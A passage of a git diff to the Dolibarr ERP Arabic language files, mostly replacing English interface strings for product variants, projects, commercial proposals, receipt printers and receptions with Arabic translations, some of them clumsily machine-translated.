-ProductCombinationAlreadyUsed=There was an error while deleting the variant. Please check it is not being used in any object -ProductCombinations=Variants -PropagateVariant=Propagate variants -HideProductCombinations=Hide products variant in the products selector -ProductCombination=Variant -NewProductCombination=New variant -EditProductCombination=Editing variant -NewProductCombinations=New variants -EditProductCombinations=Editing variants -SelectCombination=Select combination -ProductCombinationGenerator=Variants generator -Features=Features -PriceImpact=Price impact -ImpactOnPriceLevel=Impact on price level %s -ApplyToAllPriceImpactLevel= Apply to all levels -ApplyToAllPriceImpactLevelHelp=By clicking here you set the same price impact on all levels -WeightImpact=Weight impact +VariantAttributes=سمات متغيرة +ProductAttributes=سمات متغيرة للمنتجات +ProductAttributeName=سمة المتغير %s +ProductAttribute=السمة المتغيرة +ProductAttributeDeleteDialog=هل أنت متأكد أنك تريد حذف هذه السمة؟ سيتم حذف جميع القيم +ProductAttributeValueDeleteDialog=هل تريد بالتأكيد حذف القيمة "%s" بالمرجع "%s" لهذه السمة؟ +ProductCombinationDeleteDialog=هل تريد بالتأكيد حذف متغير المنتج " %s "؟ +ProductCombinationAlreadyUsed=حدث خطأ أثناء حذف المتغير. يرجى التحقق من عدم استخدامه في أي كائن +ProductCombinations=المتغيرات +PropagateVariant=نشر المتغيرات +HideProductCombinations=إخفاء متغير المنتجات في محدد المنتجات +ProductCombination=متغير +NewProductCombination=متغير جديد +EditProductCombination=تحرير المتغير +NewProductCombinations=المتغيرات الجديدة +EditProductCombinations=تحرير المتغيرات +SelectCombination=حدد مجموعة +ProductCombinationGenerator=مولد المتغيرات +Features=سمات +PriceImpact=تأثير السعر +ImpactOnPriceLevel=التأثير على مستوى السعر %s +ApplyToAllPriceImpactLevel= تنطبق على جميع المستويات +ApplyToAllPriceImpactLevelHelp=بالضغط هنا فإنك تحدد نفس تأثير السعر على جميع المستويات +WeightImpact=تأثير الوزن NewProductAttribute=جديد السمة -NewProductAttributeValue=New attribute value -ErrorCreatingProductAttributeValue=There was an error while creating the attribute value. It could be because there is already an existing value with that reference -ProductCombinationGeneratorWarning=If you continue, before generating new variants, all previous ones will be DELETED. Already existing ones will be updated with the new values -TooMuchCombinationsWarning=Generating lots of variants may result in high CPU, memory usage and Dolibarr not able to create them. Enabling the option "%s" may help reduce memory usage. -DoNotRemovePreviousCombinations=Do not remove previous variants -UsePercentageVariations=Use percentage variations -PercentageVariation=Percentage variation -ErrorDeletingGeneratedProducts=There was an error while trying to delete existing product variants -NbOfDifferentValues=No. of different values -NbProducts=Number of products -ParentProduct=Parent product -HideChildProducts=Hide variant products -ShowChildProducts=Show variant products -NoEditVariants=Go to Parent product card and edit variants price impact in the variants tab -ConfirmCloneProductCombinations=Would you like to copy all the product variants to the other parent product with the given reference? -CloneDestinationReference=Destination product reference -ErrorCopyProductCombinations=There was an error while copying the product variants -ErrorDestinationProductNotFound=Destination product not found -ErrorProductCombinationNotFound=Product variant not found -ActionAvailableOnVariantProductOnly=Action only available on the variant of product -ProductsPricePerCustomer=Product prices per customers -ProductSupplierExtraFields=Additional Attributes (Supplier Prices) -DeleteLinkedProduct=Delete the child product linked to the combination -AmountUsedToUpdateWAP=Amount to use to update the Weighted Average Price +NewProductAttributeValue=قيمة السمة الجديدة +ErrorCreatingProductAttributeValue=حدث خطأ أثناء إنشاء قيمة السمة. قد يكون ذلك بسبب وجود قيمة موجودة بالفعل بهذا المرجع +ProductCombinationGeneratorWarning=إذا تابعت ، قبل إنشاء متغيرات جديدة ، سيتم حذف جميع المتغيرات السابقة. سيتم تحديث القيم الموجودة بالفعل بالقيم الجديدة +TooMuchCombinationsWarning=قد يؤدي توليد الكثير من المتغيرات إلى ارتفاع استخدام وحدة المعالجة المركزية والذاكرة وعدم قدرة Dolibarr على إنشائها. قد يساعد تمكين الخيار "%s" في تقليل استخدام الذاكرة. +DoNotRemovePreviousCombinations=لا تقم بإزالة المتغيرات السابقة +UsePercentageVariations=استخدم الاختلافات المئوية +PercentageVariation=اختلاف النسبة المئوية +ErrorDeletingGeneratedProducts=حدث خطأ أثناء محاولة حذف متغيرات المنتج الحالية +NbOfDifferentValues=عدد القيم المختلفة +NbProducts=عدد من المنتجات +ParentProduct=المنتج الأصلي +HideChildProducts=إخفاء المنتجات المتنوعة +ShowChildProducts=عرض المنتجات المتنوعة +NoEditVariants=انتقل إلى بطاقة المنتج الرئيسي وقم بتعديل تأثير سعر المتغيرات في علامة تبويب المتغيرات +ConfirmCloneProductCombinations=هل ترغب في نسخ جميع متغيرات المنتج إلى المنتج الأصلي الآخر مع المرجع المحدد؟ +CloneDestinationReference=مرجع المنتج الوجهة +ErrorCopyProductCombinations=حدث خطأ أثناء نسخ متغيرات المنتج +ErrorDestinationProductNotFound=المنتج الوجهة غير موجود +ErrorProductCombinationNotFound=لم يتم العثور على صيغة المنتج +ActionAvailableOnVariantProductOnly=الإجراء متاح فقط على متغير المنتج +ProductsPricePerCustomer=أسعار المنتجات لكل عميل +ProductSupplierExtraFields=السمات الإضافية (أسعار الموردين) +DeleteLinkedProduct=احذف المنتج الفرعي المرتبط بالمجموعة +AmountUsedToUpdateWAP=Unit amount to use to update the Weighted Average Price PMPValue=المتوسط المرجح لسعر PMPValueShort=الواب -mandatoryperiod=Mandatory periods -mandatoryPeriodNeedTobeSet=Note: Period (start and end date) must be defined -mandatoryPeriodNeedTobeSetMsgValidate=A service requires a start and end period -mandatoryHelper=Check this if you want a message to the user when creating / validating an invoice, commercial proposal, sales order without entering a start and end date on lines with this service.
      Note that the message is a warning and not a blocking error. -DefaultBOM=Default BOM -DefaultBOMDesc=The default BOM recommended to use to manufacture this product. This field can be set only if nature of product is '%s'. -Rank=Rank -SwitchOnSaleStatus=Switch on sale status -SwitchOnPurchaseStatus=Switch on purchase status -StockMouvementExtraFields= Extra Fields (stock mouvement) +mandatoryperiod=فترات إلزامية +mandatoryPeriodNeedTobeSet=ملاحظة: يجب تحديد الفترة (تاريخ البدء والانتهاء) +mandatoryPeriodNeedTobeSetMsgValidate=تتطلب الخدمة فترة بداية ونهاية +mandatoryHelper=حدد هذا إذا كنت تريد رسالة إلى المستخدم عند إنشاء / التحقق من صحة فاتورة ، أو عرض تجاري ، أو أمر مبيعات دون إدخال تاريخ بدء وانتهاء في سطور هذه الخدمة.
      لاحظ أن الرسالة تحذير وليست خطأ حظر. +DefaultBOM=الافتراضي BOM +DefaultBOMDesc=يوصى باستخدام قائمة مكونات الصنف الافتراضية لتصنيع هذا المنتج. يمكن تعيين هذا الحقل فقط إذا كانت طبيعة المنتج "%s". +Rank=مرتبة +MergeOriginProduct=منتج مكرر (المنتج الذي تريد حذفه) +MergeProducts=دمج المنتجات +ConfirmMergeProducts=هل أنت متأكد أنك تريد دمج المنتج المختار مع المنتج الحالي؟ سيتم نقل جميع العناصر المرتبطة (الفواتير ، الطلبات ، ...) إلى المنتج الحالي ، وبعد ذلك سيتم حذف المنتج المختار. +ProductsMergeSuccess=تم دمج المنتجات +ErrorsProductsMerge=دمج الأخطاء في المنتجات +SwitchOnSaleStatus=قم بتشغيل حالة البيع +SwitchOnPurchaseStatus=قم بتشغيل حالة الشراء +UpdatePrice=Increase/decrease customer price +StockMouvementExtraFields= الحقول الإضافية (حركة الأسهم) +InventoryExtraFields= الحقول الإضافية (المخزون) +ScanOrTypeOrCopyPasteYourBarCodes=امسح أو اكتب أو انسخ / الصق الرموز الشريطية +PuttingPricesUpToDate=تحديث الأسعار بالأسعار الحالية المعروفة +PMPExpected=يتوقع PMP +ExpectedValuation=التقييم المتوقع +PMPReal=حقيقي PMP +RealValuation=التقييم الحقيقي +ConfirmEditExtrafield = حدد المجال الإضافي الذي تريد تعديله +ConfirmEditExtrafieldQuestion = هل أنت متأكد أنك تريد تعديل هذا المجال الإضافي؟ +ModifyValueExtrafields = تعديل قيمة اكسترافيلد +OrProductsWithCategories=Or products with tags/categories diff --git a/htdocs/langs/ar_SA/projects.lang b/htdocs/langs/ar_SA/projects.lang index 21a8c799261..cc5c43d57ad 100644 --- a/htdocs/langs/ar_SA/projects.lang +++ b/htdocs/langs/ar_SA/projects.lang @@ -23,6 +23,7 @@ TasksPublicDesc=هذا الرأي يعرض جميع المشاريع والمه TasksDesc=هذا الرأي يعرض جميع المشاريع والمهام (أذونات المستخدم الخاص أعطى الصلاحية لعرض كل شيء). AllTaskVisibleButEditIfYouAreAssigned=تظهر جميع المهام للمشاريع المؤهلة ، ولكن يمكنك إدخال الوقت فقط للمهمة المعينة للمستخدم المحدد. قم بتعيين مهمة إذا كنت بحاجة إلى إدخال الوقت فيها. OnlyYourTaskAreVisible=تظهر فقط المهام المعينة لك. إذا كنت بحاجة إلى إدخال الوقت في مهمة وإذا كانت المهمة غير مرئية هنا ، فأنت بحاجة إلى تعيين المهمة لنفسك. +ImportDatasetProjects=Projects or opportunities ImportDatasetTasks=مهام المشاريع ProjectCategories=علامات / فئات المشروع NewProject=مشروع جديد @@ -37,7 +38,9 @@ OpportunitiesStatusForOpenedProjects=يقود كمية من المشاريع ا OpportunitiesStatusForProjects=يقود كمية من المشاريع حسب الحالة ShowProject=وتبين للمشروع ShowTask=وتظهر هذه المهمة +SetThirdParty=Set third party SetProject=وضع المشروع +OutOfProject=Out of project NoProject=لا يعرف أو المملوكة للمشروع NbOfProjects=عدد المشاريع NbOfTasks=عدد المهام @@ -122,7 +125,8 @@ ValidateProject=تحقق من مشروع غابة ConfirmValidateProject=هل أنت متأكد أنك تريد التحقق من صحة هذا المشروع؟ CloseAProject=وثيقة المشروع ConfirmCloseAProject=هل أنت متأكد أنك تريد إغلاق هذا المشروع؟ -AlsoCloseAProject=أغلق المشروع أيضًا (اتركه مفتوحًا إذا كنت لا تزال بحاجة إلى متابعة مهام الإنتاج عليه) +AlsoCloseAProject=Also close project +AlsoCloseAProjectTooltip=Keep it open if you still need to follow production tasks on it ReOpenAProject=فتح مشروع ConfirmReOpenAProject=هل أنت متأكد أنك تريد إعادة فتح هذا المشروع؟ ProjectContact=اتصالات من المشروع @@ -165,7 +169,7 @@ OpportunityProbability=احتمال الرصاص OpportunityProbabilityShort=بروباب الرصاص. OpportunityAmount=كمية الرصاص OpportunityAmountShort=كمية الرصاص -OpportunityWeightedAmount=المقدار المرجح للفرصة +OpportunityWeightedAmount=Amount of opportunity, weighted by probability OpportunityWeightedAmountShort=مقابل. الكمية المرجحة OpportunityAmountAverageShort=متوسط مبلغ الرصاص OpportunityAmountWeigthedShort=مبلغ الرصاص المرجح @@ -238,7 +242,7 @@ OppStatusPENDING=بانتظار OppStatusWON=فاز OppStatusLOST=ضائع Budget=ميزانية -AllowToLinkFromOtherCompany=السماح بربط مشروع من شركة أخرى

      القيم المدعومة:
      - احتفظ به فارغًا: يمكنك ربط أي مشروع من مشاريع الشركة (افتراضي) a0342fccfda019b34 معرفات الجهات الخارجية مفصولة بفواصل: يمكن ربط جميع مشاريع هذه الأطراف الثالثة (مثال: 123،4795،53)
      +AllowToLinkFromOtherCompany=Allow to link an element with a project of other company

      Supported values:
      - Keep empty: Can link elements with any projects in the same company (default)
      - "all": Can link elements with any projects, even projects of other companies
      - A list of third-party ids separated by commas: can link elements with any projects of these third partys (Example: 123,4795,53)
      LatestProjects=أحدث مشاريع %s LatestModifiedProjects=أحدث مشاريع %s المعدلة OtherFilteredTasks=مهام أخرى تمت تصفيتها @@ -259,7 +263,7 @@ TimeSpentInvoiced=الوقت المستغرق في الفاتورة TimeSpentForIntervention=قضى وقتا TimeSpentForInvoice=قضى وقتا OneLinePerUser=خط واحد لكل مستخدم -ServiceToUseOnLines=Service to use on lines +ServiceToUseOnLines=Service to use on lines by default InvoiceGeneratedFromTimeSpent=تم إنشاء الفاتورة %s من الوقت المنقضي في المشروع InterventionGeneratedFromTimeSpent=تم إنشاء التدخل %s من الوقت الذي يقضيه في المشروع ProjectBillTimeDescription=تحقق مما إذا كنت قد أدخلت الجدول الزمني لمهام المشروع وكنت تخطط لإنشاء فاتورة (فواتير) من الجدول الزمني لفوترة عميل المشروع (لا تحقق مما إذا كنت تخطط لإنشاء فاتورة لا تستند إلى الجداول الزمنية التي تم إدخالها). ملاحظة: لإنشاء فاتورة ، انتقل إلى علامة التبويب "الوقت المستغرق" في المشروع وحدد سطورًا لتضمينها. @@ -282,7 +286,7 @@ ProfitIsCalculatedWith=يتم احتساب الربح باستخدام AddPersonToTask=أضف أيضًا إلى المهام UsageOrganizeEvent=الاستعمال: تنظيم الحدث PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=تصنيف المشروع على أنه مغلق عند اكتمال جميع مهامه (تقدم 100%%) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=ملاحظة: المشاريع الحالية مع جميع المهام في 100%% لن يتأثر التقدم: سيكون عليك إغلاقها يدويًا. يؤثر هذا الخيار فقط على المشاريع المفتوحة. +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Note: existing projects with all tasks already set to a progress of 100 %% won't be affected: you will have to close them manually. This option only affects open projects. SelectLinesOfTimeSpentToInvoice=حدد سطور الوقت المستغرقة التي لم يتم تحرير فواتير بها ، ثم قم بإجراء جماعي "إنشاء الفاتورة" لفواتيرها ProjectTasksWithoutTimeSpent=مهام المشروع دون إضاعة الوقت FormForNewLeadDesc=شكرا لملء النموذج التالي للاتصال بنا. يمكنك أيضًا إرسال بريد إلكتروني إلينا مباشرة إلى %s . @@ -294,3 +298,4 @@ EnablePublicLeadForm=قم بتمكين النموذج العام للاتصال NewLeadbyWeb=تم تسجيل رسالتك أو طلبك. سوف نقوم بالرد أو الاتصال بك قريبا. NewLeadForm=استمارة اتصال جديدة LeadFromPublicForm=عميل محتمل عبر الإنترنت من شكل عام +ExportAccountingReportButtonLabel=Get report diff --git a/htdocs/langs/ar_SA/propal.lang b/htdocs/langs/ar_SA/propal.lang index f7af2ee2cf7..610fd75eb72 100644 --- a/htdocs/langs/ar_SA/propal.lang +++ b/htdocs/langs/ar_SA/propal.lang @@ -13,16 +13,16 @@ Prospect=احتمال DeleteProp=اقتراح حذف التجارية ValidateProp=مصادقة على اقتراح التجارية AddProp=إنشاء اقتراح -ConfirmDeleteProp=Are you sure you want to delete this commercial proposal? -ConfirmValidateProp=Are you sure you want to validate this commercial proposal under name %s? -LastPropals=Latest %s proposals +ConfirmDeleteProp=هل أنت متأكد أنك تريد حذف هذا العرض التجاري؟ +ConfirmValidateProp=هل أنت متأكد من أنك تريد التحقق من صحة هذا العرض التجاري تحت الاسم %s ؟ +LastPropals=أحدث مقترحات %s LastModifiedProposals=أحدث %s العروض المعدلة AllPropals=جميع المقترحات SearchAProposal=بحث اقتراح -NoProposal=No proposal +NoProposal=لا يوجد اقتراح ProposalsStatistics=مقترحات تجارية 'إحصاءات NumberOfProposalsByMonth=عدد شهر -AmountOfProposalsByMonthHT=Amount by month (excl. tax) +AmountOfProposalsByMonthHT=المبلغ بالشهر (بدون الضريبة) NbOfProposals=عدد من المقترحات والتجاري ShowPropal=وتظهر اقتراح PropalsDraft=المسودات @@ -33,7 +33,7 @@ PropalStatusSigned=وقعت (لمشروع القانون) PropalStatusNotSigned=لم يتم التوقيع (مغلقة) PropalStatusBilled=فواتير PropalStatusDraftShort=مسودة -PropalStatusValidatedShort=Validated (open) +PropalStatusValidatedShort=التحقق من صحتها (مفتوح) PropalStatusClosedShort=مغلقة PropalStatusSignedShort=وقعت PropalStatusNotSignedShort=لم يتم التوقيع @@ -47,53 +47,72 @@ SendPropalByMail=اقتراح ارسال التجارية عن طريق البر DatePropal=تاريخ الاقتراح DateEndPropal=تاريخ انتهاء الصلاحية ValidityDuration=ومدة صلاحيتها -SetAcceptedRefused=Set accepted/refused +SetAcceptedRefused=مجموعة مقبولة / مرفوضة ErrorPropalNotFound=Propal ق لم يتم العثور على ٪ AddToDraftProposals=إضافة إلى صياغة اقتراح NoDraftProposals=أي مشاريع اقتراحات CopyPropalFrom=اقتراح إنشاء التجارية عن طريق نسخ وجود اقتراح -CreateEmptyPropal=Create empty commercial proposal or from list of products/services +CreateEmptyPropal=إنشاء عرض تجاري فارغ أو من قائمة المنتجات / الخدمات DefaultProposalDurationValidity=تقصير مدة صلاحية اقتراح التجارية (أيام) -UseCustomerContactAsPropalRecipientIfExist=Use contact/address with type 'Contact following-up proposal' if defined instead of third party address as proposal recipient address -ConfirmClonePropal=Are you sure you want to clone the commercial proposal %s? -ConfirmReOpenProp=Are you sure you want to open back the commercial proposal %s? +DefaultPuttingPricesUpToDate=بشكل افتراضي ، يتم تحديث الأسعار مع الأسعار الحالية المعروفة عند استنساخ الاقتراح +UseCustomerContactAsPropalRecipientIfExist=استخدم جهة الاتصال / العنوان من النوع "اقتراح متابعة جهات الاتصال" إذا تم تحديده بدلاً من عنوان الطرف الثالث كعنوان مستلم الاقتراح +ConfirmClonePropal=هل أنت متأكد من أنك تريد استنساخ العرض التجاري %s ؟ +ConfirmReOpenProp=هل أنت متأكد من أنك تريد فتح العرض التجاري %s ؟ ProposalsAndProposalsLines=واقتراح الخطوط التجارية ProposalLine=اقتراح خط -ProposalLines=Proposal lines +ProposalLines=خطوط الاقتراح AvailabilityPeriod=توفر تأخير SetAvailability=ضبط تأخير توافر AfterOrder=بعد ذلك OtherProposals=مقترحات أخرى + ##### Availability ##### AvailabilityTypeAV_NOW=فوري AvailabilityTypeAV_1W=1 أسبوع AvailabilityTypeAV_2W=2 أسابيع AvailabilityTypeAV_3W=3 أسابيع AvailabilityTypeAV_1M=1 شهر -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=اقتراح ممثل متابعة TypeContact_propal_external_BILLING=الزبون فاتورة الاتصال TypeContact_propal_external_CUSTOMER=اتصل العملاء اقتراح متابعة -TypeContact_propal_external_SHIPPING=Customer contact for delivery +TypeContact_propal_external_SHIPPING=الاتصال بالعميل للتسليم + # Document models -DocModelAzurDescription=A complete proposal model (old implementation of Cyan template) -DocModelCyanDescription=A complete proposal model +CantBeNoSign=لا يمكن تعيين غير موقعة +CaseFollowedBy=حالة متبوعة +ConfirmMassNoSignature=تأكيد مجمّع غير موقّع +ConfirmMassNoSignatureQuestion=هل أنت متأكد من أنك تريد تعيين السجلات المحددة غير الموقعة؟ +ConfirmMassSignature=تأكيد التوقيع بالجملة +ConfirmMassSignatureQuestion=هل أنت متأكد أنك تريد التوقيع على السجلات المختارة؟ +ConfirmMassValidation=تأكيد التحقق من صحة الجملة +ConfirmMassValidationQuestion=هل أنت متأكد أنك تريد التحقق من صحة السجلات المحددة؟ +ConfirmRefusePropal=هل أنت متأكد أنك تريد رفض هذا العرض التجاري؟ +ContractSigned=Contract signed +DefaultModelPropalClosed=القالب الافتراضي عند إغلاق الأعمال المقترح (فواتير) DefaultModelPropalCreate=إنشاء نموذج افتراضي DefaultModelPropalToBill=القالب الافتراضي عند إغلاق الأعمال المقترح (أن الفاتورة) -DefaultModelPropalClosed=القالب الافتراضي عند إغلاق الأعمال المقترح (فواتير) +DocModelAzurDescription=نموذج اقتراح كامل (التنفيذ القديم للقالب السماوي) +DocModelCyanDescription=نموذج اقتراح كامل +FichinterSigned=Intervention signed +IdProduct=معرف المنتج +IdProposal=معرف الاقتراح +IsNotADraft=ليس مسودة +LineBuyPriceHT=سعر الشراء المبلغ صافي الضريبة للخط +NoSign=رفض +NoSigned=مجموعة غير موقعة +PassedInOpenStatus=تم التحقق من صحتها +PropalAlreadyRefused=الاقتراح رفض بالفعل +PropalAlreadySigned=تم قبول الاقتراح بالفعل +PropalRefused=تم رفض الاقتراح +PropalSigned=تم قبول الاقتراح ProposalCustomerSignature=قبول كتابي، ختم الشركة والتاريخ والتوقيع -ProposalsStatisticsSuppliers=Vendor proposals statistics -CaseFollowedBy=Case followed by -SignedOnly=Signed only -IdProposal=Proposal ID -IdProduct=Product ID -PrParentLine=Proposal Parent Line -LineBuyPriceHT=Buy Price Amount net of tax for line -SignPropal=Accept proposal -RefusePropal=Refuse proposal -Sign=Sign -PropalAlreadySigned=Proposal already accepted -PropalAlreadyRefused=Proposal already refused -PropalSigned=Proposal accepted -PropalRefused=Proposal refused -ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +ProposalsStatisticsSuppliers=إحصاءات عروض البائعين +RefusePropal=اقتراح رفض +Sign=إشارة +SignContract=Sign contract +SignFichinter=Sign intervention +SignPropal=قبول الاقتراح +Signed=وقعت +SignedOnly=وقعت فقط diff --git a/htdocs/langs/ar_SA/receiptprinter.lang b/htdocs/langs/ar_SA/receiptprinter.lang index 430774f17dd..e01842f41a7 100644 --- a/htdocs/langs/ar_SA/receiptprinter.lang +++ b/htdocs/langs/ar_SA/receiptprinter.lang @@ -1,13 +1,13 @@ # Dolibarr language file - Source file is en_US - receiptprinter -ReceiptPrinterSetup=Setup of module ReceiptPrinter +ReceiptPrinterSetup=إعداد وحدة ReceiptPrinter PrinterAdded=تم إضافة الطابعة %s PrinterUpdated=تم تحديث الطابعة %s PrinterDeleted=تم حذف الطابعة %s TestSentToPrinter=تجربة طباعة نموذج على الطابعة %s -ReceiptPrinter=Receipt printers -ReceiptPrinterDesc=Setup of receipt printers +ReceiptPrinter=طابعات الإيصالات +ReceiptPrinterDesc=إعداد طابعات الإيصالات ReceiptPrinterTemplateDesc=إعداد القوالب -ReceiptPrinterTypeDesc=وصف نوع استلام الطابعة +ReceiptPrinterTypeDesc=مثال على القيم المحتملة للحقل "المعلمات" وفقًا لنوع السائق ReceiptPrinterProfileDesc=وصف الملف استلام الطابعة ListPrinters=قائمة طابعات SetupReceiptTemplate=إعداد قالب @@ -15,12 +15,12 @@ CONNECTOR_DUMMY=طابعة وهمية CONNECTOR_NETWORK_PRINT=طابعة الشبكة CONNECTOR_FILE_PRINT=الطابعة المحلية CONNECTOR_WINDOWS_PRINT=طابعة ويندوز المحلية -CONNECTOR_CUPS_PRINT=Cups Printer +CONNECTOR_CUPS_PRINT=طابعة أكواب CONNECTOR_DUMMY_HELP=طابعة وهمية لاختبار، لا يفعل شيئا CONNECTOR_NETWORK_PRINT_HELP=10.xxx:9100 CONNECTOR_FILE_PRINT_HELP=/ ديف / USB / lp0، / ديف / USB / LP1 CONNECTOR_WINDOWS_PRINT_HELP=LPT1، COM1، فلان: // FooUser: السر @ الكمبيوتر / مجموعة العمل / استلام الطابعة -CONNECTOR_CUPS_PRINT_HELP=CUPS printer name, example: HPRT_TP805L +CONNECTOR_CUPS_PRINT_HELP=اسم طابعة CUPS ، على سبيل المثال: HPRT_TP805L PROFILE_DEFAULT=ملف التعريف الافتراضي PROFILE_SIMPLE=ملف التعريف بسيط PROFILE_EPOSTEP=ملحمة تيب الملف الشخصي @@ -31,7 +31,7 @@ PROFILE_SIMPLE_HELP=لمحة بسيطة لا الرسومات PROFILE_EPOSTEP_HELP=ملحمة تيب الملف الشخصي PROFILE_P822D_HELP=P822D الشخصي لا الرسومات PROFILE_STAR_HELP=نجمة الشخصي -DOL_LINE_FEED=Skip line +DOL_LINE_FEED=تخطي الخط DOL_ALIGN_LEFT=ترك النص محاذاة DOL_ALIGN_CENTER=نص المركز DOL_ALIGN_RIGHT=النص محاذاة إلى اليمين @@ -45,38 +45,40 @@ DOL_CUT_PAPER_PARTIAL=تذكرة قطع جزئيا DOL_OPEN_DRAWER=فتح درج النقود DOL_ACTIVATE_BUZZER=تفعيل صفارة DOL_PRINT_QRCODE=طباعة رمز الاستجابة السريعة -DOL_PRINT_LOGO=Print logo of my company -DOL_PRINT_LOGO_OLD=Print logo of my company (old printers) -DOL_BOLD=Bold -DOL_BOLD_DISABLED=Disable bold -DOL_DOUBLE_HEIGHT=Double height size -DOL_DOUBLE_WIDTH=Double width size -DOL_DEFAULT_HEIGHT_WIDTH=Default height and width size -DOL_UNDERLINE=Enable underline -DOL_UNDERLINE_DISABLED=Disable underline -DOL_BEEP=Beed sound -DOL_PRINT_TEXT=Print text -DateInvoiceWithTime=Invoice date and time -YearInvoice=Invoice year -DOL_VALUE_MONTH_LETTERS=Invoice month in letters -DOL_VALUE_MONTH=Invoice month -DOL_VALUE_DAY=Invoice day -DOL_VALUE_DAY_LETTERS=Inovice day in letters -DOL_LINE_FEED_REVERSE=Line feed reverse -InvoiceID=Invoice ID +DOL_PRINT_LOGO=طباعة شعار شركتي +DOL_PRINT_LOGO_OLD=طباعة شعار شركتي (طابعات قديمة) +DOL_BOLD=عريض +DOL_BOLD_DISABLED=تعطيل الغامق +DOL_DOUBLE_HEIGHT=حجم ارتفاع مزدوج +DOL_DOUBLE_WIDTH=حجم العرض المزدوج +DOL_DEFAULT_HEIGHT_WIDTH=الحجم الافتراضي للعرض والارتفاع +DOL_UNDERLINE=تمكين التسطير +DOL_UNDERLINE_DISABLED=تعطيل التسطير +DOL_BEEP=صوت صفير +DOL_BEEP_ALTERNATIVE=صوت صفير (الوضع البديل) +DOL_PRINT_CURR_DATE=طباعة التاريخ / الوقت الحالي +DOL_PRINT_TEXT=طباعة النص +DateInvoiceWithTime=تاريخ ووقت الفاتورة +YearInvoice=سنة الفاتورة +DOL_VALUE_MONTH_LETTERS=شهر الفاتورة بالأحرف +DOL_VALUE_MONTH=شهر الفاتورة +DOL_VALUE_DAY=يوم الفاتورة +DOL_VALUE_DAY_LETTERS=يوم Inovice في الرسائل +DOL_LINE_FEED_REVERSE=خط التغذية العكسي +InvoiceID=هوية صوتية InvoiceRef=فاتورة المرجع -DOL_PRINT_OBJECT_LINES=Invoice lines -DOL_VALUE_CUSTOMER_FIRSTNAME=Customer first name -DOL_VALUE_CUSTOMER_LASTNAME=Customer last name -DOL_VALUE_CUSTOMER_MAIL=Customer mail -DOL_VALUE_CUSTOMER_PHONE=Customer phone -DOL_VALUE_CUSTOMER_MOBILE=Customer mobile -DOL_VALUE_CUSTOMER_SKYPE=Customer Skype -DOL_VALUE_CUSTOMER_TAX_NUMBER=Customer tax number -DOL_VALUE_CUSTOMER_ACCOUNT_BALANCE=Customer account balance -DOL_VALUE_MYSOC_NAME=Your company name -VendorLastname=Vendor last name -VendorFirstname=Vendor first name -VendorEmail=Vendor email -DOL_VALUE_CUSTOMER_POINTS=Customer points -DOL_VALUE_OBJECT_POINTS=Object points +DOL_PRINT_OBJECT_LINES=سطور الفاتورة +DOL_VALUE_CUSTOMER_FIRSTNAME=الاسم الأول للعميل +DOL_VALUE_CUSTOMER_LASTNAME=الاسم الأخير للعميل +DOL_VALUE_CUSTOMER_MAIL=بريد العميل +DOL_VALUE_CUSTOMER_PHONE=هاتف العميل +DOL_VALUE_CUSTOMER_MOBILE=جوّال العميل +DOL_VALUE_CUSTOMER_SKYPE=عميل سكايب +DOL_VALUE_CUSTOMER_TAX_NUMBER=الرقم الضريبي للعميل +DOL_VALUE_CUSTOMER_ACCOUNT_BALANCE=رصيد حساب العميل +DOL_VALUE_MYSOC_NAME=اسم شركتك +VendorLastname=الاسم الأخير للبائع +VendorFirstname=الاسم الأول للبائع +VendorEmail=البريد الإلكتروني للبائع +DOL_VALUE_CUSTOMER_POINTS=نقاط العميل +DOL_VALUE_OBJECT_POINTS=نقاط الكائن diff --git a/htdocs/langs/ar_SA/receptions.lang b/htdocs/langs/ar_SA/receptions.lang index 0a463e7d4fc..00442ed86a8 100644 --- a/htdocs/langs/ar_SA/receptions.lang +++ b/htdocs/langs/ar_SA/receptions.lang @@ -1,54 +1,54 @@ # Dolibarr language file - Source file is en_US - receptions -ReceptionDescription=Vendor reception management (Create reception documents) -ReceptionsSetup=Vendor Reception setup -RefReception=Ref. reception +ReceptionDescription=إدارة استقبال البائعين (إنشاء مستندات استلام) +ReceptionsSetup=إعداد استقبال البائعين +RefReception=المرجع. استقبال Reception=على عملية -Receptions=Receptions -AllReceptions=All Receptions +Receptions=حفلات الاستقبال +AllReceptions=كل الاستقبالات Reception=على عملية -Receptions=Receptions -ShowReception=Show Receptions -ReceptionsArea=Receptions area -ListOfReceptions=List of receptions -ReceptionMethod=Reception method -LastReceptions=Latest %s receptions -StatisticsOfReceptions=Statistics for receptions -NbOfReceptions=Number of receptions -NumberOfReceptionsByMonth=Number of receptions by month -ReceptionCard=Reception card -NewReception=New reception -CreateReception=Create reception -QtyInOtherReceptions=Qty in other receptions -OtherReceptionsForSameOrder=Other receptions for this order -ReceptionsAndReceivingForSameOrder=Receptions and receipts for this order -ReceptionsToValidate=Receptions to validate +Receptions=حفلات الاستقبال +ShowReception=عرض حفلات الاستقبال +ReceptionsArea=منطقة الاستقبالات +ListOfReceptions=قائمة حفلات الاستقبال +ReceptionMethod=طريقة الاستقبال +LastReceptions=أحدث حفلات استقبال %s +StatisticsOfReceptions=إحصائيات حفلات الاستقبال +NbOfReceptions=عدد الاستقبالات +NumberOfReceptionsByMonth=عدد الاستقبالات حسب الشهر +ReceptionCard=بطاقة الاستقبال +NewReception=استقبال جديد +CreateReception=إنشاء استقبال +QtyInOtherReceptions=الكمية في حفلات الاستقبال الأخرى +OtherReceptionsForSameOrder=استقبالات أخرى لهذا الطلب +ReceptionsAndReceivingForSameOrder=استقبالات وإيصالات لهذا الطلب +ReceptionsToValidate=استقبالات للتحقق من صحة StatusReceptionCanceled=ألغيت StatusReceptionDraft=مسودة -StatusReceptionValidated=Validated (products to receive or already received) -StatusReceptionValidatedToReceive=Validated (products to receive) -StatusReceptionValidatedReceived=Validated (products received) +StatusReceptionValidated=تم التحقق من صحتها (استلام المنتجات أو استلامها بالفعل) +StatusReceptionValidatedToReceive=تم التحقق من صحتها (المنتجات المراد استلامها) +StatusReceptionValidatedReceived=تم التحقق من صحتها (تم استلام المنتجات) StatusReceptionProcessed=معالجة StatusReceptionDraftShort=مسودة StatusReceptionValidatedShort=التحقق من صحة StatusReceptionProcessedShort=معالجة -ReceptionSheet=Reception sheet -ConfirmDeleteReception=Are you sure you want to delete this 